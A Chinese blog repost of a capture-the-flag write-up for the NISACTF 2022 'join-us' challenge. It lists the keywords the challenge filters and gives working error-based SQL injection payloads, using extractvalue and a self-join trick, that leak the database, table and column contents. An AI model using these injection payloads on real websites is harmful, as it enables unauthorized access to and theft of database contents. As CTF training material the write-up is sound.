当前位置: 首页 > news >正文

sql报错注入和联合注入

1.[NISACTF 2022]join-us 

过滤:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()

其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。

database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库

1'||(select * from aa)#或者将||换成or,爆出sqlsql库。-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#

由于as也被过滤,无列名注入可以用join 连接

首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了

select*from (select*from output a join output b)c

相关文章:

  • 7.Gin 路由详解 - 路由分组 - 路由文件抽离
  • Raspberry Pi 5 新一代单板计算机:树莓派5代 (介绍、入门、解疑)
  • el-popover和el-tooltip样式修改(普通的组件样式修改方法,对popover是不生效的)
  • 【Android】画面卡顿优化列表流畅度六(终篇)
  • pdf转png工具类
  • 【力扣面试经典150题】(链表)K 个一组翻转链表
  • bug场景记录
  • C/C++ 实现Windows注册表操作
  • 华为obs上传下载-Java版 2023-11-23
  • vue3父组件提交校验多个子组件
  • Python通过selenium调用IE11浏览器报错解决方法
  • 网络知识学习(笔记二)
  • KaiwuDB 监控组件及辅助 SQL 调优介绍
  • 04.webpack中css的压缩和抽离
  • 数据结构【栈】
  • angular学习第一篇-----环境搭建
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • IOS评论框不贴底(ios12新bug)
  • java中的hashCode
  • Lucene解析 - 基本概念
  • MySQL QA
  • php面试题 汇集2
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • Spring核心 Bean的高级装配
  • win10下安装mysql5.7
  • windows-nginx-https-本地配置
  • 聚簇索引和非聚簇索引
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 什么软件可以提取视频中的音频制作成手机铃声
  • (1/2) 为了理解 UWP 的启动流程,我从零开始创建了一个 UWP 程序
  • (Matalb回归预测)PSO-BP粒子群算法优化BP神经网络的多维回归预测
  • (pojstep1.1.2)2654(直叙式模拟)
  • (二)Linux——Linux常用指令
  • (二)WCF的Binding模型
  • (非本人原创)我们工作到底是为了什么?​——HP大中华区总裁孙振耀退休感言(r4笔记第60天)...
  • (附源码)spring boot儿童教育管理系统 毕业设计 281442
  • (附源码)spring boot基于Java的电影院售票与管理系统毕业设计 011449
  • (附源码)springboot高校宿舍交电费系统 毕业设计031552
  • (论文阅读23/100)Hierarchical Convolutional Features for Visual Tracking
  • (转载)PyTorch代码规范最佳实践和样式指南
  • (轉貼) 2008 Altera 亞洲創新大賽 台灣學生成果傲視全球 [照片花絮] (SOC) (News)
  • .net core 6 redis操作类
  • .Net MVC4 上传大文件,并保存表单
  • .NET大文件上传知识整理
  • .NET分布式缓存Memcached从入门到实战
  • .NET高级面试指南专题十一【 设计模式介绍,为什么要用设计模式】
  • .net企业级架构实战之7——Spring.net整合Asp.net mvc
  • .skip() 和 .only() 的使用
  • /proc/stat文件详解(翻译)
  • :O)修改linux硬件时间
  • :中兴通讯为何成功
  • @html.ActionLink的几种参数格式
  • [ MSF使用实例 ] 利用永恒之蓝(MS17-010)漏洞导致windows靶机蓝屏并获取靶机权限
  • [【JSON2WEB】 13 基于REST2SQL 和 Amis 的 SQL 查询分析器